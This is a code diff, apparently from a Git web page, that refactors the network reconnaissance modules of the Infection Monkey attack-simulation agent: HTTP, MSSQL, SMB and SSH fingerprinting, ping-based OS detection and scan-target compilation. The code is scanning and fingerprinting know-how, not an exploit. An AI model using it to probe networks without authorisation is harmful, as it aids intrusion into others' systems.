from typing import Any, Dict, Iterable, Optional, Set, Tuple
|
||||
from typing import Any, Dict, Iterable, Mapping, Optional, Set, Tuple
|
||||
|
||||
from requests import head
|
||||
from requests.exceptions import ConnectionError, Timeout
|
||||
|
||||
from common.types import PingScanData, PortStatus
|
||||
from infection_monkey.i_puppet import FingerprintData, IFingerprinter, PortScanData
|
||||
from infection_monkey.i_puppet import (
|
||||
FingerprintData,
|
||||
IFingerprinter,
|
||||
PingScanData,
|
||||
PortScanData,
|
||||
PortStatus,
|
||||
)
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
@ -41,7 +46,7 @@ class HTTPFingerprinter(IFingerprinter):
|
|||
"data": (server_header_contents, ssl),
|
||||
}
|
||||
|
||||
return FingerprintData(None, None, services)
|
||||
return FingerprintData(None, "", services)
|
||||
|
||||
|
||||
def _query_potential_http_server(host: str, port: int) -> Tuple[Optional[str], Optional[bool]]:
|
||||
|
@ -66,7 +71,7 @@ def _get_server_from_headers(url: str) -> Optional[str]:
|
|||
return None
|
||||
|
||||
|
||||
def _get_http_headers(url: str) -> Optional[Dict[str, Any]]:
|
||||
def _get_http_headers(url: str) -> Optional[Mapping[str, Any]]:
|
||||
try:
|
||||
logger.debug(f"Sending request for headers to {url}")
|
||||
with closing(head(url, verify=False, timeout=1)) as response: # noqa: DUO123
|
||||
|
|
|
@ -1,10 +1,9 @@
|
|||
import errno
|
||||
import logging
|
||||
import socket
|
||||
from typing import Any, Dict, Optional
|
||||
from typing import Any, Dict
|
||||
|
||||
from common.types import PingScanData
|
||||
from infection_monkey.i_puppet import FingerprintData, IFingerprinter, PortScanData
|
||||
from infection_monkey.i_puppet import FingerprintData, IFingerprinter, PingScanData, PortScanData
|
||||
|
||||
MSSQL_SERVICE = "MSSQL"
|
||||
DISPLAY_NAME = MSSQL_SERVICE
|
||||
|
@ -33,10 +32,10 @@ class MSSQLFingerprinter(IFingerprinter):
|
|||
except Exception as ex:
|
||||
logger.debug(f"Did not detect an MSSQL server: {ex}")
|
||||
|
||||
return FingerprintData(None, None, services)
|
||||
return FingerprintData(None, "", services)
|
||||
|
||||
|
||||
def _query_mssql_for_instance_data(host: str) -> Optional[bytes]:
|
||||
def _query_mssql_for_instance_data(host: str) -> bytes:
|
||||
# Create a UDP socket and sets a timeout
|
||||
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
sock.settimeout(_MSSQL_SOCKET_TIMEOUT)
|
||||
|
@ -45,22 +44,20 @@ def _query_mssql_for_instance_data(host: str) -> Optional[bytes]:
|
|||
|
||||
# The message is a CLNT_UCAST_EX packet to get all instances
|
||||
# https://msdn.microsoft.com/en-us/library/cc219745.aspx
|
||||
message = "\x03"
|
||||
message_str = "\x03"
|
||||
|
||||
# Encode the message as a bytes array
|
||||
message = message.encode()
|
||||
message = message_str.encode()
|
||||
|
||||
# send data and receive response
|
||||
try:
|
||||
logger.info(f"Sending message to requested host: {host}, {message}")
|
||||
logger.info(f"Sending message to requested host: {host}, {message_str}")
|
||||
sock.sendto(message, server_address)
|
||||
data, _ = sock.recvfrom(_BUFFER_SIZE)
|
||||
|
||||
return data
|
||||
except socket.timeout as err:
|
||||
logger.debug(
|
||||
f"Socket timeout reached, maybe browser service on host: {host} doesnt " "exist"
|
||||
)
|
||||
logger.debug(f"Socket timeout reached, maybe browser service on host: {host} doesn't exist")
|
||||
raise err
|
||||
except socket.error as err:
|
||||
if err.errno == errno.ECONNRESET:
|
||||
|
@ -79,7 +76,7 @@ def _query_mssql_for_instance_data(host: str) -> Optional[bytes]:
|
|||
|
||||
|
||||
def _get_services_from_server_data(data: bytes) -> Dict[str, Any]:
|
||||
services = {MSSQL_SERVICE: {}}
|
||||
services: Dict[str, Any] = {MSSQL_SERVICE: {}}
|
||||
services[MSSQL_SERVICE]["display_name"] = DISPLAY_NAME
|
||||
services[MSSQL_SERVICE]["port"] = SQL_BROWSER_DEFAULT_PORT
|
||||
|
||||
|
|
|
@ -4,16 +4,10 @@ import os
|
|||
import re
|
||||
import subprocess
|
||||
import sys
|
||||
from ipaddress import IPv4Address
|
||||
from time import time
|
||||
from typing import Tuple
|
||||
|
||||
from common import OperatingSystem
|
||||
from common.agent_events import PingScanEvent
|
||||
from common.event_queue import IAgentEventQueue
|
||||
from common.types import PingScanData
|
||||
from infection_monkey.i_puppet import PingScanData
|
||||
from infection_monkey.utils.environment import is_windows_os
|
||||
from infection_monkey.utils.ids import get_agent_id
|
||||
|
||||
TTL_REGEX = re.compile(r"TTL=([0-9]+)\b", re.IGNORECASE)
|
||||
LINUX_TTL = 64 # Windows TTL is 128
|
||||
|
@ -23,30 +17,27 @@ EMPTY_PING_SCAN = PingScanData(False, None)
|
|||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
def ping(host: str, timeout: float, agent_event_queue: IAgentEventQueue) -> PingScanData:
|
||||
def ping(host: str, timeout: float) -> PingScanData:
|
||||
try:
|
||||
return _ping(host, timeout, agent_event_queue)
|
||||
return _ping(host, timeout)
|
||||
except Exception:
|
||||
logger.exception("Unhandled exception occurred while running ping")
|
||||
return EMPTY_PING_SCAN
|
||||
|
||||
|
||||
def _ping(host: str, timeout: float, agent_event_queue: IAgentEventQueue) -> PingScanData:
|
||||
def _ping(host: str, timeout: float) -> PingScanData:
|
||||
if is_windows_os():
|
||||
timeout = math.floor(timeout * 1000)
|
||||
|
||||
event_timestamp, ping_command_output = _run_ping_command(host, timeout)
|
||||
ping_command_output = _run_ping_command(host, timeout)
|
||||
|
||||
ping_scan_data = _process_ping_command_output(ping_command_output)
|
||||
logger.debug(f"{host} - {ping_scan_data}")
|
||||
|
||||
ping_scan_event = _generate_ping_scan_event(host, ping_scan_data, event_timestamp)
|
||||
agent_event_queue.publish(ping_scan_event)
|
||||
|
||||
return ping_scan_data
|
||||
|
||||
|
||||
def _run_ping_command(host: str, timeout: float) -> Tuple[float, str]:
|
||||
def _run_ping_command(host: str, timeout: float) -> str:
|
||||
ping_cmd = _build_ping_command(host, timeout)
|
||||
logger.debug(f"Running ping command: {' '.join(ping_cmd)}")
|
||||
|
||||
|
@ -54,8 +45,6 @@ def _run_ping_command(host: str, timeout: float) -> Tuple[float, str]:
|
|||
# of os.device_encoding(1) will be None. Setting errors="backslashreplace" prevents a crash
|
||||
# in this case. See #1175 and #1403 for more information.
|
||||
encoding = os.device_encoding(1)
|
||||
|
||||
ping_event_timestamp = time()
|
||||
sub_proc = subprocess.Popen(
|
||||
ping_cmd,
|
||||
stdout=subprocess.PIPE,
|
||||
|
@ -75,9 +64,9 @@ def _run_ping_command(host: str, timeout: float) -> Tuple[float, str]:
|
|||
logger.debug(output)
|
||||
except subprocess.TimeoutExpired as te:
|
||||
logger.error(te)
|
||||
return ping_event_timestamp, ""
|
||||
return ""
|
||||
|
||||
return ping_event_timestamp, output
|
||||
return output
|
||||
|
||||
|
||||
def _process_ping_command_output(ping_command_output: str) -> PingScanData:
|
||||
|
@ -89,8 +78,11 @@ def _process_ping_command_output(ping_command_output: str) -> PingScanData:
|
|||
# match at all if the group isn't found or the contents of the group are not only digits.
|
||||
ttl = int(ttl_match.group(1))
|
||||
|
||||
# could also be OSX/BSD, but lets handle that when it comes up.
|
||||
operating_system = OperatingSystem.LINUX if ttl <= LINUX_TTL else OperatingSystem.WINDOWS
|
||||
operating_system = None
|
||||
if ttl <= LINUX_TTL:
|
||||
operating_system = OperatingSystem.LINUX
|
||||
else: # as far we we know, could also be OSX/BSD, but lets handle that when it comes up.
|
||||
operating_system = OperatingSystem.WINDOWS
|
||||
|
||||
return PingScanData(True, operating_system)
|
||||
|
||||
|
@ -101,15 +93,3 @@ def _build_ping_command(host: str, timeout: float):
|
|||
|
||||
# on older version of ping the timeout must be an integer, thus we use ceil
|
||||
return ["ping", ping_count_flag, "1", ping_timeout_flag, str(math.ceil(timeout)), host]
|
||||
|
||||
|
||||
def _generate_ping_scan_event(
|
||||
host: str, ping_scan_data: PingScanData, event_timestamp: float
|
||||
) -> PingScanEvent:
|
||||
return PingScanEvent(
|
||||
source=get_agent_id(),
|
||||
target=IPv4Address(host),
|
||||
timestamp=event_timestamp,
|
||||
response_received=ping_scan_data.response_received,
|
||||
os=ping_scan_data.os,
|
||||
)
|
||||
|
|
|
@ -2,31 +2,34 @@ import itertools
|
|||
import logging
|
||||
import socket
|
||||
from ipaddress import IPv4Interface
|
||||
from typing import Dict, Iterable, List, Optional, Sequence
|
||||
from typing import Dict, List
|
||||
|
||||
from common.network.network_range import InvalidNetworkRangeError, NetworkRange
|
||||
from infection_monkey.network import NetworkAddress
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# TODO: We can probably reduce code and save ourselves some trouble if we use IPv4Address and
|
||||
# IPv4Network. See https://docs.python.org/3/library/ipaddress.html
|
||||
|
||||
|
||||
def compile_scan_target_list(
|
||||
local_network_interfaces: Sequence[IPv4Interface],
|
||||
ranges_to_scan: Sequence[str],
|
||||
inaccessible_subnets: Sequence[str],
|
||||
blocklisted_ips: Sequence[str],
|
||||
scan_my_networks: bool,
|
||||
local_network_interfaces: List[IPv4Interface],
|
||||
ranges_to_scan: List[str],
|
||||
inaccessible_subnets: List[str],
|
||||
blocklisted_ips: List[str],
|
||||
enable_local_network_scan: bool,
|
||||
) -> List[NetworkAddress]:
|
||||
scan_targets = _get_ips_from_subnets_to_scan(ranges_to_scan)
|
||||
|
||||
if scan_my_networks:
|
||||
scan_targets.extend(_get_ips_to_scan_from_interface(local_network_interfaces))
|
||||
if enable_local_network_scan:
|
||||
scan_targets.extend(_get_ips_to_scan_from_local_interface(local_network_interfaces))
|
||||
|
||||
if inaccessible_subnets:
|
||||
other_targets = _get_segmentation_check_targets(
|
||||
inaccessible_subnet_addresses = _get_segmentation_check_targets(
|
||||
inaccessible_subnets, local_network_interfaces
|
||||
)
|
||||
scan_targets.extend(other_targets)
|
||||
scan_targets.extend(inaccessible_subnet_addresses)
|
||||
|
||||
scan_targets = _remove_interface_ips(scan_targets, local_network_interfaces)
|
||||
scan_targets = _remove_blocklisted_ips(scan_targets, blocklisted_ips)
|
||||
|
@ -36,12 +39,12 @@ def compile_scan_target_list(
|
|||
return scan_targets
|
||||
|
||||
|
||||
def _remove_redundant_targets(targets: Sequence[NetworkAddress]) -> List[NetworkAddress]:
|
||||
reverse_dns: Dict[str, Optional[str]] = {}
|
||||
def _remove_redundant_targets(targets: List[NetworkAddress]) -> List[NetworkAddress]:
|
||||
reverse_dns: Dict[str, str] = {}
|
||||
for target in targets:
|
||||
domain_name = target.domain
|
||||
ip = target.ip
|
||||
if ip not in reverse_dns or (reverse_dns[ip] is None and domain_name is not None):
|
||||
if ip not in reverse_dns or (not reverse_dns[ip] and domain_name):
|
||||
reverse_dns[ip] = domain_name
|
||||
return [NetworkAddress(key, value) for (key, value) in reverse_dns.items()]
|
||||
|
||||
|
@ -49,15 +52,14 @@ def _remove_redundant_targets(targets: Sequence[NetworkAddress]) -> List[Network
|
|||
def _range_to_addresses(range_obj: NetworkRange) -> List[NetworkAddress]:
|
||||
addresses = []
|
||||
for address in range_obj:
|
||||
try:
|
||||
domain = range_obj.domain_name # type: ignore
|
||||
except AttributeError:
|
||||
domain = None
|
||||
addresses.append(NetworkAddress(address, domain))
|
||||
if hasattr(range_obj, "domain_name"):
|
||||
addresses.append(NetworkAddress(address, range_obj.domain_name))
|
||||
else:
|
||||
addresses.append(NetworkAddress(address, ""))
|
||||
return addresses
|
||||
|
||||
|
||||
def _get_ips_from_subnets_to_scan(subnets_to_scan: Iterable[str]) -> List[NetworkAddress]:
|
||||
def _get_ips_from_subnets_to_scan(subnets_to_scan: List[str]) -> List[NetworkAddress]:
|
||||
ranges_to_scan = NetworkRange.filter_invalid_ranges(
|
||||
subnets_to_scan, "Bad network range input for targets to scan:"
|
||||
)
|
||||
|
@ -66,7 +68,7 @@ def _get_ips_from_subnets_to_scan(subnets_to_scan: Iterable[str]) -> List[Networ
|
|||
return _get_ips_from_ranges_to_scan(network_ranges)
|
||||
|
||||
|
||||
def _get_ips_from_ranges_to_scan(network_ranges: Iterable[NetworkRange]) -> List[NetworkAddress]:
|
||||
def _get_ips_from_ranges_to_scan(network_ranges: List[NetworkRange]) -> List[NetworkAddress]:
|
||||
scan_targets = []
|
||||
|
||||
for _range in network_ranges:
|
||||
|
@ -74,8 +76,8 @@ def _get_ips_from_ranges_to_scan(network_ranges: Iterable[NetworkRange]) -> List
|
|||
return scan_targets
|
||||
|
||||
|
||||
def _get_ips_to_scan_from_interface(
|
||||
interfaces: Sequence[IPv4Interface],
|
||||
def _get_ips_to_scan_from_local_interface(
|
||||
interfaces: List[IPv4Interface],
|
||||
) -> List[NetworkAddress]:
|
||||
ranges = [str(interface) for interface in interfaces]
|
||||
|
||||
|
@ -86,14 +88,14 @@ def _get_ips_to_scan_from_interface(
|
|||
|
||||
|
||||
def _remove_interface_ips(
|
||||
scan_targets: Sequence[NetworkAddress], interfaces: Iterable[IPv4Interface]
|
||||
scan_targets: List[NetworkAddress], interfaces: List[IPv4Interface]
|
||||
) -> List[NetworkAddress]:
|
||||
interface_ips = [str(interface.ip) for interface in interfaces]
|
||||
return _remove_ips_from_scan_targets(scan_targets, interface_ips)
|
||||
|
||||
|
||||
def _remove_blocklisted_ips(
|
||||
scan_targets: Sequence[NetworkAddress], blocked_ips: Sequence[str]
|
||||
scan_targets: List[NetworkAddress], blocked_ips: List[str]
|
||||
) -> List[NetworkAddress]:
|
||||
filtered_blocked_ips = NetworkRange.filter_invalid_ranges(
|
||||
blocked_ips, "Invalid blocked IP provided:"
|
||||
|
@ -104,14 +106,14 @@ def _remove_blocklisted_ips(
|
|||
|
||||
|
||||
def _remove_ips_from_scan_targets(
|
||||
scan_targets: Sequence[NetworkAddress], ips_to_remove: Iterable[str]
|
||||
scan_targets: List[NetworkAddress], ips_to_remove: List[str]
|
||||
) -> List[NetworkAddress]:
|
||||
ips_to_remove_set = set(ips_to_remove)
|
||||
return [address for address in scan_targets if address.ip not in ips_to_remove_set]
|
||||
|
||||
|
||||
def _get_segmentation_check_targets(
|
||||
inaccessible_subnets: Iterable[str], local_interfaces: Iterable[IPv4Interface]
|
||||
inaccessible_subnets: List[str], local_interfaces: List[IPv4Interface]
|
||||
) -> List[NetworkAddress]:
|
||||
ips_to_scan = []
|
||||
local_ips = [str(interface.ip) for interface in local_interfaces]
|
||||
|
@ -132,17 +134,17 @@ def _get_segmentation_check_targets(
|
|||
return ips_to_scan
|
||||
|
||||
|
||||
def _convert_to_range_object(subnets: Iterable[str]) -> List[NetworkRange]:
|
||||
def _convert_to_range_object(subnets: List[str]) -> List[NetworkRange]:
|
||||
return [NetworkRange.get_range_obj(subnet) for subnet in subnets]
|
||||
|
||||
|
||||
def _is_segmentation_check_required(
|
||||
local_ips: Sequence[str], subnet1: NetworkRange, subnet2: NetworkRange
|
||||
local_ips: List[str], subnet1: NetworkRange, subnet2: NetworkRange
|
||||
):
|
||||
return _is_any_ip_in_subnet(local_ips, subnet1) and not _is_any_ip_in_subnet(local_ips, subnet2)
|
||||
|
||||
|
||||
def _is_any_ip_in_subnet(ip_addresses: Iterable[str], subnet: NetworkRange):
|
||||
def _is_any_ip_in_subnet(ip_addresses: List[str], subnet: NetworkRange):
|
||||
for ip_address in ip_addresses:
|
||||
if subnet.is_in_range(ip_address):
|
||||
return True
|
||||
|
|
|
@ -6,8 +6,13 @@ from typing import Dict
|
|||
from odict import odict
|
||||
|
||||
from common import OperatingSystem
|
||||
from common.types import PingScanData, PortStatus
|
||||
from infection_monkey.i_puppet import FingerprintData, IFingerprinter, PortScanData
|
||||
from infection_monkey.i_puppet import (
|
||||
FingerprintData,
|
||||
IFingerprinter,
|
||||
PingScanData,
|
||||
PortScanData,
|
||||
PortStatus,
|
||||
)
|
||||
|
||||
DISPLAY_NAME = "SMB"
|
||||
SMB_PORT = 445
|
||||
|
@ -139,16 +144,16 @@ class SMBFingerprinter(IFingerprinter):
|
|||
port_scan_data: Dict[int, PortScanData],
|
||||
_options: Dict,
|
||||
) -> FingerprintData:
|
||||
services = {}
|
||||
services: Dict = {}
|
||||
smb_service = {
|
||||
"display_name": DISPLAY_NAME,
|
||||
"port": SMB_PORT,
|
||||
}
|
||||
os_type = None
|
||||
os_version = None
|
||||
os_version = ""
|
||||
|
||||
if (SMB_PORT not in port_scan_data) or (port_scan_data[SMB_PORT].status != PortStatus.OPEN):
|
||||
return FingerprintData(None, None, services)
|
||||
return FingerprintData(None, "", services)
|
||||
|
||||
logger.debug(f"Fingerprinting potential SMB port {SMB_PORT} on {host}")
|
||||
|
||||
|
|
|
@ -2,8 +2,7 @@ import re
|
|||
from typing import Dict, Optional, Tuple
|
||||
|
||||
from common import OperatingSystem
|
||||
from common.types import PingScanData
|
||||
from infection_monkey.i_puppet import FingerprintData, IFingerprinter, PortScanData
|
||||
from infection_monkey.i_puppet import FingerprintData, IFingerprinter, PingScanData, PortScanData
|
||||
|
||||
SSH_REGEX = r"SSH-\d\.\d-OpenSSH"
|
||||
LINUX_DIST_SSH = ["ubuntu", "debian"]
|
||||
|
@ -22,7 +21,7 @@ class SSHFingerprinter(IFingerprinter):
|
|||
_options: Dict,
|
||||
) -> FingerprintData:
|
||||
os_type = None
|
||||
os_version = None
|
||||
os_version = ""
|
||||
services = {}
|
||||
|
||||
for ps_data in port_scan_data.values():
|
||||
|
@ -36,9 +35,9 @@ class SSHFingerprinter(IFingerprinter):
|
|||
return FingerprintData(os_type, os_version, services)
|
||||
|
||||
@staticmethod
|
||||
def _get_host_os(banner) -> Tuple[Optional[str], Optional[str]]:
|
||||
def _get_host_os(banner) -> Tuple[Optional[OperatingSystem], str]:
|
||||
os = None
|
||||
os_version = None
|
||||
os_version = ""
|
||||
for dist in LINUX_DIST_SSH:
|
||||
if banner.lower().find(dist) != -1:
|
||||
os_version = banner.split(" ").pop().strip()
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue